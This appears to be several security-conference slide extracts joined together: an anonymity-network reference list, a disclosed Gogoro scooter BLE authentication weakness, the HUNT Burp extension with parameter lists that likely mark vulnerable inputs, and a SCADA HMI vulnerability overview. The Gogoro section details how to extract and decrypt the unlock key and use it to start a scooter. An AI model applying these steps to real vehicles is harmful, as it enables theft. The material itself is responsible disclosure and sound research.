1st Inter- national Peer To Peer Systems Workshop (IPTPS), Mar. 2002. [23] H. Federrath, A. Jerichow, and A. Pfitzmann. MIXes in mo- bile communication systems: Location management with pri- vacy. In R. Anderson, editor, Information Hiding, First Inter- national Workshop, pages 121–135. Springer-Verlag, LNCS 1174, May 1996. [24] M. J. Freedman and R. Morris. Tarzan: A peer-to-peer anonymizing network layer. In 9th ACM Conference on Com- puter and Communications Security (CCS 2002), Washington, DC, November 2002. [25] S. Goel, M. Robson, M. Polte, and E. G. Sirer. Herbivore: A scalable and efficient protocol for anonymous communication. Technical Report TR2003-1890, Cornell University Comput- ing and Information Science, February 2003. [26] I. Goldberg. A Pseudonymous Communications Infrastructure for the Internet. PhD thesis, UC Berkeley, Dec 2000. [27] D. M. Goldschlag, M. G. Reed, and P. F. Syverson. Hiding routing information. In R. Anderson, editor, Information Hid- ing, First International Workshop, pages 137–150. Springer- Verlag, LNCS 1174, May 1996. [28] C. G¨ulc¨u and G. Tsudik. Mixing E-mail with Babel. In Net- work and Distributed Security Symposium (NDSS 96), pages 2–16. IEEE, February 1996. [29] A. Hintz. Fingerprinting websites using traffic analysis. In R. Dingledine and P. Syverson, editors, Privacy Enhancing Technologies (PET 2002), pages 171–178. Springer-Verlag, LNCS 2482, 2002. [30] A. Jerichow, J. M¨uller, A. Pfitzmann, B. Pfitzmann, and M. Waidner. Real-time mixes: A bandwidth-efficient anonymity protocol. IEEE Journal on Selected Areas in Com- munications, 16(4):495–509, May 1998. [31] D. Kesdogan, D. Agrawal, and S. Penz. Limits of anonymity in open environments. In F. Petitcolas, editor, Information Hiding Workshop (IH 2002). Springer-Verlag, LNCS 2578, October 2002. [32] D. Koblas and M. R. Koblas. SOCKS. In UNIX Security III Symposium (1992 USENIX Security Symposium), pages 77– 83. USENIX, 1992. [33] B. N. Levine, M. K. Reiter, C. Wang, and M. Wright. Timing analysis in low-latency mix-based systems. In A. Juels, ed- itor, Financial Cryptography. Springer-Verlag, LNCS (forth- coming), 2004. [34] B. N. Levine and C. Shields. Hordes: A multicast-based proto- col for anonymity. Journal of Computer Security, 10(3):213– 240, 2002. [35] C. Meadows. The NRL protocol analyzer: An overview. Jour- nal of Logic Programming, 26(2):113–131, 1996. [36] U. M¨oller, L. Cottrell, P. Palfrader, and L. Sassaman. Mix- master Protocol — Version 2. Draft, July 2003. <http: //www.abditum.com/mixmaster-spec.txt>. [37] V. S. Pai, L. Wang, K. Park, R. Pang, and L. Peterson. The Dark Side of the Web: An Open Proxy’s View. <http://codeen.cs.princeton.edu/>. [38] A. Pfitzmann, B. Pfitzmann, and M. Waidner. ISDN-mixes: Untraceable communication with very small bandwidth over- head. In GI/ITG Conference on Communication in Distributed Systems, pages 451–463, February 1991. [39] Privoxy. <http://www.privoxy.org/>. [40] M. G. Reed, P. F. Syverson, and D. M. Goldschlag. Proto- cols using anonymous connections: Mobile applications. In B. Christianson, B. Crispo, M. Lomas, and M. Roe, editors, Security Protocols: 5th International Workshop, pages 13–23. Springer-Verlag, LNCS 1361, April 1997. [41] M. G. Reed, P. F. Syverson, and D. M. Goldschlag. Anony- mous connections and onion routing. IEEE Journal on Se- lected Areas in Communications, 16(4):482–494, May 1998. [42] M. K. Reiter and A. D. Rubin. Crowds: Anonymity for web transactions. ACM TISSEC, 1(1):66–92, June 1998. [43] M. Rennhard and B. Plattner. Practical anonymity for the masses with morphmix. In A. Juels, editor, Financial Cryp- tography. Springer-Verlag, LNCS (forthcoming), 2004. [44] M. Rennhard, S. Rafaeli, L. Mathy, B. Plattner, and D. Hutchi- son. Analysis of an Anonymity Network for Web Browsing. In IEEE 7th Intl. Workshop on Enterprise Security (WET ICE 2002), Pittsburgh, USA, June 2002. [45] A. Serjantov and P. Sewell. Passive attack analysis for connection-based anonymity systems. In Computer Security – ESORICS 2003. Springer-Verlag, LNCS 2808, October 2003. [46] R. Sherwood, B. Bhattacharjee, and A. Srinivasan. p5: A pro- tocol for scalable anonymous communication. In IEEE Sym- posium on Security and Privacy, pages 58–70. IEEE CS, 2002. [47] A. Shubina and S. Smith. Using caching for browsing anonymity. ACM SIGEcom Exchanges, 4(2), Sept 2003. [48] P. Syverson, M. Reed, and D. Goldschlag. Onion Routing access configurations. In DARPA Information Survivability Conference and Exposition (DISCEX 2000), volume 1, pages 34–40. IEEE CS Press, 2000. [49] P. Syverson, G. Tsudik, M. Reed, and C. Landwehr. Towards an Analysis of Onion Routing Security. In H. Federrath, ed- itor, Designing Privacy Enhancing Technologies: Workshop on Design Issue in Anonymity and Unobservability, pages 96– 114. Springer-Verlag, LNCS 2009, July 2000. [50] A. Tannenbaum. Computer networks, 1996. [51] The AN.ON Project. German police proceeds against anonymity service. Press release, September 2003. <http://www.datenschutzzentrum.de/ material/themen/presse/anon-bka_e.htm>. [52] M. Waldman and D. Mazi`eres. Tangler: A censorship- resistant publishing system based on document entangle- ments. In 8th ACM Conference on Computer and Commu- nications Security (CCS-8), pages 86–135. ACM Press, 2001. [53] M. Waldman, A. Rubin, and L. Cranor. Publius: A robust, tamper-evident, censorship-resistant and source-anonymous web publishing system. In Proc. 9th USENIX Security Sym- posium, pages 59–72, August 2000. [54] M. Wright, M. Adler, B. N. Levine, and C. Shields. Defending anonymous communication against passive logging attacks. In IEEE Symposium on Security and Privacy, pages 28–41. IEEE CS, May 2003.
pdf
物聯網 BLE 認證機制設計的挑戰 以 Gogoro Smart Scooter 為例 GD、CSC 台灣科技大學 資管所 隱私與風險管理實驗室 講師介紹 G D • 台灣科技大學 資管所 碩士生 • Team T5 CTO (Chief Food Officer) • CHROOT Member • 曾任 • 到處打零工 • 好學生乖小孩 • 數位鑑識、事件處理、威脅情資整合 • 走在路上偶爾踢到一些漏洞 去年 Synology 送我一台 NAS 希望 Gogoro 也能這麼 nice XD CSC • 台灣科技大學 資管所 副教授 • 夠麻吉股份有限公司 獨立董事 • 台灣大學 資訊管理 博士 • 曾任 • 資誠企業管理顧問股份有限公司協理 • 意藍科技股份有限公司資深顧問 • 具有 CISSP、CCFP、CSSLP、CISM 等多 張國際資安認證。 • 近年來除了從事資安研究,發表多篇國際 期刊與會議論文外,也曾協助多家政府單 位與企業,建立資訊安全管理制度,或發 掘系統資安漏洞。 大綱 1. 介紹 Bluetooth Low Energy、安全性分析流程 2. Smartphone 透過 BLE 控制 IoT 裝置,需要一套認證機制 3. BLE 4.0 配對有許多限制,許多廠商選擇不配對另設計認證機制 4. 重視消費者隱私下,硬體識別元(Identifier)受限、亂數化 5. 未配對裝置無法取得硬體識別元,設計認證機制遇到的挑戰 6. 提出一種更好的認證機制:雙計數器強化認證 Bluetooth 4.0 有三種 High Speed Classic Low Energy 用 WiFi 傳資料 最常見的藍牙 原名 Wibree 協定 建立持續連線 可建立持續連線 不建立持續連線 高耗電 中耗電 低耗電 高頻寬 中頻寬 低頻寬 短距離 中距離 長距離 (我沒用過) 耳機、鍵盤、滑鼠 溫度計、手環、IoT 裝置 Bluetooth 4.0 Low Energy Method 方向 功能 Request Central -> Peripheral 一般發送訊息 Response Peripheral -> Central 回覆 Request 用 Commands Central -> Peripheral 不用 Response Notifications Peripheral -> Central 不用 Confirm Indications Peripheral -> Central 需要 Confirm Confirmations Central -> Peripheral 回覆 Indication 用 通常電量大的是 Client、電量小的是 Server (僅在收到 request 時供電運作) Fig. Ref: Stanfy Inc, 2015 類似 HTTP:session-less 並有七種 method BLE 廣泛應用在 IoT 健康家電產品 長輩有言「幹壞事是進步最大的原動力」 好奇手養「到底在傳輸什麼碗糕封包?」 內建許多 Profile • 時間、溫度、電源 • 體重、用戶資料 • 血壓、血糖、體脂 • 心跳、脈搏、跑步 • 速度、方向、室內定位 BLE 很容易玩 • Nordic nRF App • bleno Node.js BLE 也很容易惡搞控制 • 在捷運上讓旁邊的小米手環一直震動 Le IoT 想想物聯網 blog 有很不錯的教學 BLE Sniffer 錄封包 都是明文?! 很多 IoT 裝置 BLE 其實沒有加密 Security Manager Protocol Pairing Bonding Re-establishment Short Term Key Permanent Key Permanent Key BLE 4.0 SMP 配對方式 Pairing方法 MitM 攻擊難度 方便性 Just Works 沒有保護 最方便,但沒有辦法驗證裝置 Passkey Entry 簡單,暴力猜出PIN 一方要有螢幕、一方要有鍵盤 Out-Of-Band 困難,走獨立通道 用NFC 等其他方式交換key BLE 4.2 六位數字比對(需有螢幕) Just Works 無法驗證裝置 許多廠商選擇不配對的原因: 1. 使用前需要花費時間配對,不方便 2. 有已知安全弱點,配對不一定比較安全 3. 沒有螢幕顯示,則無法進行數字比對 BLE 4.0 隱私保護 • 硬體識別元 讀取限制 • 防止 App 追蹤用戶 • MAC Address 讀出來是 02000000000000 • 硬體識別元 亂數化 • 防止附近設備掃描追蹤用戶 • MAC Address 每次重開都不同 • 配對過的裝置可用 IRK 解出固定 MAC • 無硬體識別元,增加驗證機制設計的困難 Gogoro Smart Scooter Key Fob Unlock (BLE) (better than Keeloq) Origin Handle Value 推測用途 鑰匙 CONNECT_REQ 開始連線 車子 0x37 01 00 Command ID 車子 0x25 c2 e7 20 bf d2 99 9d 43 68 c6 2d 65 39 3d 72 c9 f3 亂數Challenge 鑰匙 0x36 d2 25 57 33 19 18 51 fd ae 7d 1b ed 85 e0 10 78 e2 簽章Response 車子 LL_TERMINATE_IND 結束連線 Mobile App (Gateway) • 交車設定 My Gogoro 帳號 • App 登入下載 Scooter 資訊 Mobile App Pairing & Unlock 僅 ATT 讀寫資訊、無 BLE 配對綁定 問題定義 • BLE 未配對,無硬體識別元,如何設計認證機制? 分析方法 Ubertooth One 分析 BLE 通訊 反組譯 iOS 與 Android App 解析發車程序 撰寫測試 App 驗證 金鑰儲存分析 網路服務分析 弱點情境分析 通報廠商 廠商修復後公開 BLE Gogoro Service Service UDID 末 8 byte 為 Scooter MAC Address App Protocol 分析 Origin Cmd Function App A0 GetScooterSettingWithType App A1 GetScooterErrors App A2 GetScooterInfo App A3 SetScooterSetting Scooter A4 ScooterGetSettingStatus Scooter A5 ScooterErrorStatus Scooter A6 ScooterInfoState Scooter A7 ScooterSetSettingStatus Scooter A8 NotifyScooterError Scooter A9 NotifyInfo Scooter AE PurchasedStatus Scooter AF ScooterInfoState Scooter B0 ECU Challenge nonce App B1 ECU Response digest Scooter B2 ECU unknown Scooter B3 ECU Error App B4 ECU Cmd (Lock, Unlock, Open Trunk) B開頭 ECU Challenge Response 90 A2 08 00 00 00 02 C4 (hex) 90: Header, A2: Command, 08: Length, 02: Parameter, C4: Checksum A開頭 一般資訊查詢 Gogoro Unlock 流程 1. Scooter 掃描附近Peripheral 是否有 GATT Gogoro 服務 UUID 351AAF0F-末8 byte 同Scooter MAC Address才連上 2. Mobile App 讀取 Scooter 目前狀態,啟用解鎖按鈕 按下按鈕後送出 ECU_Cmd(0xB4) Value 上鎖0x00、解鎖0x01 3. Scooter 發出 ECU_Challenge (0xB0) 隨機產生的亂數 256 bit nonce 4. Mobile App 回覆 ECU_Response (0xB1) ECU_Response =SHA256(ECU_Challenge, Security_Key) 5. Scooter 比對 ECU_Response 無誤 執行 ECU_Cmd 完成解鎖通電。 車鑰匙 Security_Key • ECU_Response =SHA256(ECU_Challenge, Security_Key) • 早期版本 Security_Key 就放在 Document 目錄下(有稍微加密) • iOS MobileAppProp.plist 中 ScooterSKey • Android Settings.xml 中 AppSettings_DefScooter/encryptedkey2 • 解密方式法 AES-256, CBC/PKCS7Padding, IV=UserId, Key = ScooterUUID • iTunes 或 Android 備份程式預設會拷走 • 插上傳輸線 Juicy Attack、從 PC iTunes 備份、各種方式 • AndroidManifest.xml 中 allowBackup 目前是 true • 從 WebAPI 取得 • Try 出 My Gogoro 密碼(帳單、論壇、App) • 偷出 Cookie (Web_Token 也存在 MobileAppProp.plist ) • https://mobile-pro.gogoroapp.com/WebService/Web/GetKey Insecure App Data Storage • Token, Certificate 應該放在加密儲存區 • 未使用中 是加密狀態、使用中 管制 Timeout • 限制 user、限制 process、限制 export • 各大作業系統都有提供 • Apple iOS/macOS Keychain • iPhone 6~ Secure Enclave • Android Keystore • Samsung S6~ KNOX • Windows Protected Storage • HSM Such as UbiKey Unlock 模擬程式 • 依照上述分析結果,我們撰寫 Android App 可 Unlock 已知 Security_Key 的 Scooter • Live Demo 因此得知: 1. 攻擊者只要取得 Security_Key 就可把車發動 2. Security_Key 可被轉移到其他手機使用 3. Scooter 無法驗證Mobile App 硬體識別元 Gogoro 分析結果 • 裝置識別元 隱私保護 → 提高驗證設計難度 • 實驗證明,IoT 裝置在無法驗證裝置識別元下,只能依靠金鑰 • 保護好 Security_Key 是唯一方法 • Insecure App Data Storage 弱點 • Gogoro Mobile App 把 Security_Key 存在 Document 目錄 • 應存到加密儲存區 Keychain/Keystore ,可避免備份外流 • 其他可能威脅 • 取 Security_Key API 沒有 SSL Cert Pining 可能被中間人攻擊 • Challenge-Response 可能被Rely-Attack (類似車用遙控器) 大體來說 Gogoro 系統設計是安全的 • 藍牙傳輸雖然沒有配對與加密,但是傳輸的是一 次性的 Challenge/ Response • 在手機端,金鑰基本上是綁手機,除非手機有自 己做破解,而且被安裝後門程式,不然不易直接 從手機取得金鑰 Security Key • 但從網路中取得金鑰資訊這段,目前沒有綁憑證 cert pining,也沒有 MyGogoro 帳號 username/password 以外認證機制 威脅情境 • 使用者手機被植入木馬、電腦備份檔被偷走 • 使用者在不安全的網路環境中啟動手機 App 並 登入 Gogoro 系統 • 可以利用中間人攻擊取得 Key • 使用 BLE 掃描取得服務的 UUID • 接下來就可以到使用者的車子旁邊,送出解鎖指 令並回應 Challenge,然後就可以發車了 弱點通報廠商 • 2016/02 App 開始支援 BLE 解鎖 • 2016/04 發現弱點並通報廠商 • 2016/04 增強 Security Key 保護 • 2016/07 增強 SSL Cert 驗證 • 2016/07 強制登出更新 We will keep investing on security area and have more frequently release for security improvement in the future. IoT 裝置認證設計的挑戰 • 無法讀取裝置識別元 • IoT 裝置事先不認識手機 • IoT 裝置事先 認識金鑰 • 藉由 Server 把金鑰給手機 • 防止金鑰被複製? • BLE 4.2 Secure Connections • 金鑰+ 手機裝置識別元 • 金鑰 Secure Element 儲存 • 金鑰+ SMS OTP • 金鑰+ Dual HOTP 認證 認證機制 解法比較 認證方法 優點 缺點 金鑰 Server Provision IoT裝置不需事先認識手機 金鑰複製容易、盜用察覺難 BLE 4.2 Secure Connections 防MITM、傳輸加密、防複製 雙方都需要數字顯示螢幕 金鑰 + 手機裝置識別元 可驗證手機、防止複製 隱私衝突、Root還是可拷 金鑰 Secure Element 儲存 加密保護、拷出困難 不是每隻手機都有 SE 金鑰 + Server SMS OTP 發送 綁門號、不用綁定手機 SMS要錢、需要電信門號 IoT 裝置需跟 Server 同步 金鑰 + 雙計數器強化認證 綁定手機、可察覺金鑰盜用 未必能阻擋金鑰盜用 雙計數器強化認證 DeviceSPhone 計數器S DeviceServer 計數器D DeviceServer KD 永久共有金鑰 TD 計數器D IDS 身分證 KSD HMAC(KD, IDS) 臨時 HTD HMAC(KD, TD ) 臨時 DeviceSPhone Cha. RAND() Res. HMAC(KSD, HTD, TD) TS 計數器S R Request Cmd HTS,R HMAC(KSD, TS, R) 若金鑰被複製使用 計數器會不一致 可讓使用者察覺問題 HMAC of 若手機遺失可 revoke HMAC(Key) HMAC(Key) 被偷用會 desync計數器 結論 1. 介紹 Bluetooth Low Energy、安全性分析流程 2. Smartphone 透過 BLE 控制 IoT 裝置,需要一套認證機制 3. BLE 4.0 配對有許多限制,許多廠商選擇不配對另設計認證機制 4. 重視消費者隱私下,硬體識別元(Identifier)受限、亂數化 5. 未配對裝置無法取得硬體識別元,設計認證機制遇到的挑戰 6. 提出一種更好的認證機制:雙計數器強化認證 未來展望 • Key Fob 晶片演算法研究 • Challenge nonce 亂數強度 • 是否可從ECU Firmware 或其他管道取得 Security_Key • Relay-Attack 在什麼樣的環境下可達成 特別致謝 • CSC 老師指導、參與研究、提供設備 • Gogoro 設計這台 Smart Scooter 還不錯騎 • Hiraku (皮樂姐姐) 幫忙 dump iOS app • Lab 同學各種支援 Q&A • 物聯網 Security or Nothing • 謝謝大家、敬請指教 References • Bluetooth SIG, Bluetooth Smart (Low Energy) Security. Bluetooth SIG, 2016 https://developer.bluetooth.org/TechnologyOverview/Pages/LE-Security.aspx • Bluetooth SIG, Bluetooth Specification Version 4.0, Bluetooth SIG, 2010 • Andrew Garkavyi, Bluetooth Low Energy. Essentials for Creating Software with Device to Smartphone Connectivity, Stanfy Inc, 2015 https://medium.com/@stanfy/bluetooth-low-energy-essentials-for-creating-software-with-device-to-smartphone-connectivity- 5164c71963e7 • Mike Ryan, Bluetooth: With Low Energy comes Low Security, iSEC Partners, USENIX WOOT, 2013. • Mike Ryan, Hacking Bluetooth Low Energy: I Am Jack's Heart Monitor, ToorCon 14, 2012. • Lindell, A. Y. Attacks on the pairing protocol of bluetooth v2.1, BlackHat US, 2008. • Samy Kamkar, Drive It Like You Hacked It, Defcon 23, 2015 http://samy.pl/defcon2015/2015-defcon.pdf • Gogoro, Gogoro Smart Scooter 規格書, 睿能創意股份有限公司, 2015. http://images.gogoroapp.com/download/PDF/tw/Gogoro-Smartscooter-Spec-Sheet-2015-06-17-02-Chinese.pdf • Google, Android Physical Identifier Privacy, Google, 2016. • https://developer.android.com/about/versions/marshmallow/android-6.0-changes.html#behavior-hardware-id • Apple, iOS Physical Identifier Privacy, Apple, 2016. https://developer.apple.com/library/ios/documentation/UIKit/Reference/UIDevice_Class • N. Gupta, Inside Bluetooth Low Energy. Artech House, 2013. • Le IoT 想想物聯網 Blog, 2016 https://thinkingiot.blogspot.tw/
pdf
KinectASploit What if you took a kinect KinectASploit Used it's skeleton tracking feature: KinectASploit Sprinkled in some hacking tools: KinectASploit And combined them with a 3D Game Engine: Lets find out! Come see the Demo at Defcon19 and look for the tool source at: http://p0wnlabs.com/defcon19 Any graphics that look good were probably found on wallbase.net/4chan. Bad Code by jeff bryner p0wnlabs.com Use @ your own risk
pdf
HUNT @jhaddix @swagnetow @FatihEgbatan @digitalwoot @_Sha128 @bugcrowd Data Driven Web Hacking & Manual Testing Contribs Motley crew at @bugcrowd ➔ SecOps & Security Engineering groups ➔ Bughunters, Pentesters, Code Analysis, ++ ➔ Burp Suite fans The Problem(z) 1. Increasingly large and complicated Web Applications. Need manual testing 2. Applications Assessment Training lacks “tribal knowledge” of vulnerability location 3. No in-tool workflow for web hacking methodologies Current Solutions 1. Badass hacker who can eyeball and effectively find security bugs a. May or may not have a methodology b. Definitely has accrued “tribal knowledge” c. Bughunts and/or does consultant work 2. Dynamic Scanner a. Limited test cases (fuzzing) b. Cost prohibitive c. Limited in detection cases (dynamic pages, errors, etc) d. Complex sites are hard (auth) HUNT Manual testing references in Burp Methodology in Burp Tribal knowledge passive alerts HUNT Burp Suite Extension Tool Flow IScannerCheck & IScanIssue Scanner Burp Implementation (Python) Burp Tab “Hunt - Scanner” def doPassiveScan(self, request_response): raw_request = request_response.getRequest() raw_response = request_response.getResponse() request = self.helpers.analyzeRequest(raw_request) response = self.helpers.analyzeResponse(raw_response) parameters = request.getParameters() url = self.helpers.analyzeRequest(request_response).getUrl() vuln_parameters = self.issues.check_parameters(self.helpers, parameters) is_not_empty = len(vuln_parameters) > 0 if is_not_empty: self.issues.create_scanner_issues(self.view, self.callbacks, self.helpers, vuln_parameters, request_response) # Do not show any Bugcrowd found issues in the Scanner window return [] IExtensionStateListener, IContextMenuFactory, ITab Methodology Burp Implementation (Python) Burp Tab “HUNT - Methodology” def createMenuItems(self, invocation): # Do not create a menu item unless getting a context menu from the proxy history or scanner results is_proxy_history = invocation.getInvocationContext() == invocation.CONTEXT_PROXY_HISTORY is_scanner_results = invocation.getInvocationContext() == invocation.CONTEXT_SCANNER_RESULTS is_correct_context = is_proxy_history or is_scanner_results if not is_correct_context: return request_response = invocation.getSelectedMessages()[0] functionality = self.checklist["Functionality"] # Create the menu item for the Burp context menu bugcatcher_menu = JMenu("Send to HUNT - Methodology") for functionality_name in functionality: vulns = functionality[functionality_name]["vulns"] menu_vuln = JMenu(functionality_name) # Create a menu item and an action listener per vulnerability # class on each functionality for vuln_name in vulns: item_vuln = JMenuItem(vuln_name) menu_action_listener = MenuActionListener(self.view, self.callbacks, request_response, functionality_name, vuln_name) item_vuln.addActionListener(menu_action_listener) menu_vuln.add(item_vuln) bugcatcher_menu.add(menu_vuln) burp_menu = [] burp_menu.append(bugcatcher_menu) return burp_menu Tribal Knowledge & Bug Location Coming up with vuln location (data) ➔ Bugcrowd data contains over 600+ bounties and disclosure programs: ◆ Programs x 2 web targets per bounty (average) ● Ie. targets: www.defcon.org, forums.defcon.org, media.defcon.org ◆ 15 (average) parameters per application ➔ 600 x 2 x 15 = ~18,000 parameters seen Coming up with vuln location (data) pt. 2 ➔ ~18,000 parameters: ◆ Reduce to params with vulns on them ◆ Reduce to only Critical (P1’s) and High (P2’s) Severity bugs/vulns ◆ Sort by recurring instances ◆ Include top 5-10 reoccurring instances per vuln/bug category ◆ Review top 100 for possible permutations manually and/or with regex ◆ Manually add ancillary data (pentest/other data) Bug Location by bug/vuln class Here be dragons SQL Injection {regex + perm} id {regex} select {regex} report {regex} role {regex} update {regex} query {regex + perm} user {regex + perm} name {regex} sort {regex} where {regex + perm} search {regex} params {regex} process {regex + perm} row {regex + perm} view {regex} table {regex + perm} from {regex + perm} sel {regex} results {regex} sleep {regex} fetch {regex + perm} order {regex} keyword {regex} count {regex + perm} column {regex} input {regex + perm} key {regex + perm} code {regex + perm} field {regex} delete {type} Custom headers {regex} string {regex} number {regex + perm} filter {type} JSON and XML services File Includes / Dir Traversal {regex + perm} file {regex} location {regex} locale {regex + perm} path {regex} display {regex} load {regex + perm} read {regex} retrieve {regex + perm} folder {regex} style {regex + perm} doc {regex} document {regex} root {regex} pdf {regex} pg {regex} include {regex} list {regex} view {regex} img {regex} image OS Command Injection {regex} daemon {regex + perm} upload {regex + perm} dir {regex} execute {regex + perm} download {regex + perm} log {type} .cgi {regex} ip {regex} cli Server Side Request Forgery Many on the File Includes / Dir Traversal table {regex + perm} dest {regex} redirect {regex + perm} uri {regex} path {regex} continue {regex + perm} url {regex} window {regex} next {regex} data {regex} reference {regex + perm} site {regex} html {regex + perm} val {regex} validate {regex} domain {regex} callback {regex} return {regex + perm} page {regex} feed {regex} host {regex} port Insecure Direct Object Reference {regex + perm} id {regex + perm} user {regex + perm} account {regex + perm} number {regex + perm} order {regex + perm} no {regex + perm} doc {regex + perm} key {regex + perm} email {regex + perm} group {regex + perm} profile {regex + perm} edit REST numeric paths Server Side Template Injection {regex + perm} template content preview redirect id view activity name GUI Methodology & Tester Helpers Advisory Alerts Right Click -> Send-To Methodology Section Description Multiple Request/Response Tracking Resources Notes Save/Load JSON File DEMO Extensibility "Remote File Inclusion": { "check_location": { "request": true, "response": false }, "detail": "There is probably a Remote File Inclusion on the <b>$param$</b> parameter", "enabled": true, "level": "Information", "name": "Possible Remote File Inclusion", "params": [ "file", "document", "folder", "root", "path", "pg", "style", "pdf", "template", "php_path", "doc" ] } Creating new issue checks are as simple as adding to the JSON file. Custom Alerts CVE Custom Methodologies ➔ Web Application Hacker’s Handbook ➔ PCI (future) ➔ HIPAA (future) ➔ CREST (future) ➔ OWASP (future) ➔ PTES (future) The Future ➔ More built-in methodologies ➔ Port to ZAP? ➔ More scanner checks/vulnerability classes ➔ More resources ➔ Perfect GUI lol Thanks! Questions? {link} @jhaddix @swagnetow @FatihEgbatan @digitalwoot @_Sha128 @bugcrowd
pdf
Hacker'Machine,Interface, State,of,the,Union,for,SCADA,HMI,Vulnerabili:es, Copyright,2016,Trend,Micro,Inc., 2, Introduc:on, Copyright,2016,Trend,Micro,Inc., 3, Trend,Micro,Zero,Day,Ini:a:ve, •  Fritz,Sands,',@FritzSands, –  Security)Researcher)–)Zero)Day)Ini4a4ve) –  Root)cause)analysis)and)vulnerability)discovery) –  Focused)on)SCADA)HMI)vulnerability)analysis) •  Brian,Gorenc,',@maliciousinput, –  Senior)Manager)?)Zero)Day)Ini4a4ve) –  Root)cause)analysis)and)vulnerability)discovery) –  Organizer)of)Pwn2Own)hacking)compe44ons) Copyright,2016,Trend,Micro,Inc., 4, SCADA,Industry, Copyright,2016,Trend,Micro,Inc., 5, Marketplace,Overview,, •  Focused,on,ICS,equipment,sales,over,soTware,sales, •  Ac:ve,merger,and,acquisi:on,ac:vity,, •  Highly,regionalized,, Copyright,2016,Trend,Micro,Inc., 6, What,is,the,Human,Machine,Interface?, •  Main,hub,for,managing,and,opera:ng,control,systems, •  Collects,data,from,the,control,systems, •  Presents,visualiza:on,of,the,system,architecture, •  Alarms,operator/sends,no:fica:ons, •  Should,be,operated,on,isolated,and,trusted,networks, Copyright,2016,Trend,Micro,Inc., 7, Why,target,the,Human,Machine,Interface?, •  Control,the,targeted,cri:cal,infrastructure, •  Harvest,informa:on,about,architecture, •  Disable,alarming,and,no:fica:on,systems, •  Physically,damage,SCADA,equipment, Copyright,2016,Trend,Micro,Inc., 8, Malware,Targe:ng,HMI,Solu:ons, •  Stuxnet, –  First,malware,created,to,target,ICS,environments, –  Abused,HMI,vulnerabili:es, •  Siemems,SIMATIC,STEP,7,DLL,Hijacking,Vulnerability,(ICSA'12'205'02), •  Siemens,WinCC,Insecure,SQL,Server,Authen:ca:on,(ICSA'12'205'01), •  ,BlackEnergy, –  Ongoing,sophis:cated,malware,campaign,compromising,ICS,environments, –  Abused,HMI,vulnerabili:es, •  GE,CIMIPCITY,Path,Traversal,Vulnerabili:es,(ICSA'14'023'01), •  Siemens,WinCC,Remote,Code,Execu:on,Vulnerabili:es,(ICSA'14'329'02D), •  Advantech,WebAccess,(ICS'ALERT'14'281'01B), Copyright,2016,Trend,Micro,Inc., 9, ICS'CERT, •  Organiza:on,within,Department,of,Homeland,Security, •  Focuses,on:, –  Responding,to,and,analyzing,control,systems'related,incidents, –  Conduc:ng,vulnerability,and,malware,analysis, –  Providing,onsite,incident,response,services, –  Coordina:ng,the,responsible,disclosure,of,vulnerabili:es,and, associated,mi:ga:ons, •  For,2015,,ICS'CERT,responded,to,295,incidents,and,handled, 486,vulnerability,disclosures, Copyright,2016,Trend,Micro,Inc., 10, Cri:cal,Infrastructure,Ahacks, Copyright,2016,Trend,Micro,Inc., 11, Targe:ng,Water,U:li:es, •  Compromised,internet'facing,AS/400,system,responsible,for:, –  Network,rou:ng, –  Manipula:on,of,Programmable,Logic,Controllers,(PLC), –  Management,of,customer,PII,and,billing,informa:on, •  Altered,sejngs,related,to,water,flow,and,amount,of, chemicals,that,went,into,the,water,supply, •  Four,separate,connec:ons,to,the,AS/400,over,a,60'day, period, •  Actors,IP,:ed,to,previous,hack:vist,ac:vi:es, Copyright,2016,Trend,Micro,Inc., 12, Targe:ng,Power,Plants, •  On,December,24,,2015,,Ukrainian,companies,experienced, unscheduled,power,outages,impac:ng,225,000+,customers., –  Caused,by,external,malicious,actors, –  Mul:ple,coordinated,ahacks,within,30,minutes,of,each,other, •  Used,remote,administra:on,tools,and/or,remote,industrial, control,system,(ICS),client,soTware,to,control,breakers., •  Used,KillDisk,to,overwrite,Windows'based,human'machine, interface,system., –  Disrupt,restora:on,efforts, Copyright,2016,Trend,Micro,Inc., 13, Targe:ng,Railway,and,Mining,Industry, •  Malware,similar,to,the,power,incident,found,in,the,ahacks, against,a,Ukrainian,rail,and,a,Ukrainian,mining,company, –  November,–,December,2015, •  Overlap,between,the,samples,found,in,the,Ukrainian,power, incident,and,those,apparently,used,against,the,Ukrainian, mining,company, –  Malware,leveraged,(BlackEnergy/KillDisk), –  Infrastructure, –  Naming,Conven:ons, Copyright,2016,Trend,Micro,Inc., 14, Prevalent,Vulnerability,Types, Copyright,2016,Trend,Micro,Inc., 15, Current,State,of,HMI,Solu:ons, •  Not,built,with,security,in,mind,, •  Seen,no,benefit,of,the,evolu:on,of,the,secure,SDL, •  Mi:ga:ons,against,advanced,ahacks,are,disabled, •  Poor,design/developer,assump:ons, •  Lack,of,understanding,of,real,opera:ng,environment, –  Not,on,isolated,or,trusted,networks, –  Con:nually,being,interconnected, Copyright,2016,Trend,Micro,Inc., 16, Common,Problems,with,HMI, Memory,Corrup:on, Creden:al,Management, Insecure,Default, Authen:ca:on/Authoriza:on, Injec:on, Other, Source:,2015'2016,ICS'CERT,Advisories,, Copyright,2016,Trend,Micro,Inc., 17, Memory,Corrup:on, •  20%,of,iden:fied,vulnerabili:es, •  Common,vulnerability,types, –  Stack'based,Buffer,Overflow, –  Heap'based,Buffer,Overflow, –  Out'of'bounds,Read/Write, •  Zero,Day,Ini:a:ve,case,study, –  Advantech,WebAccess,webvrpcs,Service, BwOpcSvc.dll,WindowName,, sprinq,Stack'Based,Buffer,Overflow, Remote,Code,Execu:on,Vulnerability, Copyright,2016,Trend,Micro,Inc., 18, , Advantech,WebAccess,Case,Study, •  ICS'CERT,states:, –  “There,are,many,instances,where,the,buffer,on,the,stack,can,be, overwrihen”, •  Iden:fiers, –  CVE'2016'0856, –  ZDI'16'048, –  ICSA'16'014'01, •  CVSS, –  9.3, •  Disclosure,Timeline,, –  2015–09–17,',Reported,to,vendor,, 2016–02–05,–,Coordinated,release, •  Credit, –  Discovered,by:,Anonymous, –  Disclosed,by:,Zero,Day,Ini:a:ve, Copyright,2016,Trend,Micro,Inc., 19, , Advantech,WebAccess,HMI,Solu:on, Copyright,2016,Trend,Micro,Inc., 20, Remotely,Accessible,Services,, •  Launches,a,service,,webvrpcs.exe,,in,the,context,of,a,local, administra:ve,users, •  Services,listens,on,TCP,port,4592,,by,default,,and,may,be, accessed,over,an,RPC'based,protocol, •  Applica:on,interface,is,structured,to,resemble,the,Windows, Device,IoControl,func:on, –  Each,func:on,contains,a,field,similar,to,an,IOCTL, 